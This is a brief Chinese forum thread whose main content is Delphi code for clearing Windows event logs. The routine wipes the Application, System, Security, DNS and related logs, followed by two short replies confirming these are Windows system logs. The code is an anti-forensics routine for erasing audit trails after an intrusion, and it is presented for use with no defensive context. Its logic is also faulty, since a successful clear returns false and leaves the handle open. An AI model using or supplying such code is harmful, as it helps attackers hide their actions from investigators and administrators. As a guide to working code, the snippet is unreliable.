清日志

eighteen

function KillEventLog(EventName:String):boolean;
var
  HEvent:Hwnd;
begin
  HEvent:=OpenEventLog(nil,pchar(EventName));
  if HEvent=0 then
    begin
       Result:=false;
       exit;
    end;
   if  ClearEventLog(HEvent,nil) then
      begin
         Result:=false;
         exit;
      end;
   result:=CloseEventLog(HEvent);
 
end;
procedure DelEventLog;
var
   HEvent:hwnd;
begin
    KillEventLog('Application');
    KillEventLog('System');
    KillEventLog('Security');
    KillEventLog('SecEvent.Evt');
    KillEventLog('SysEvent.Evt');
    KillEventLog('DnsEvent.Evt');
end;

猫工

清什么东西的日志？

student

看代码应该是windows系统日志！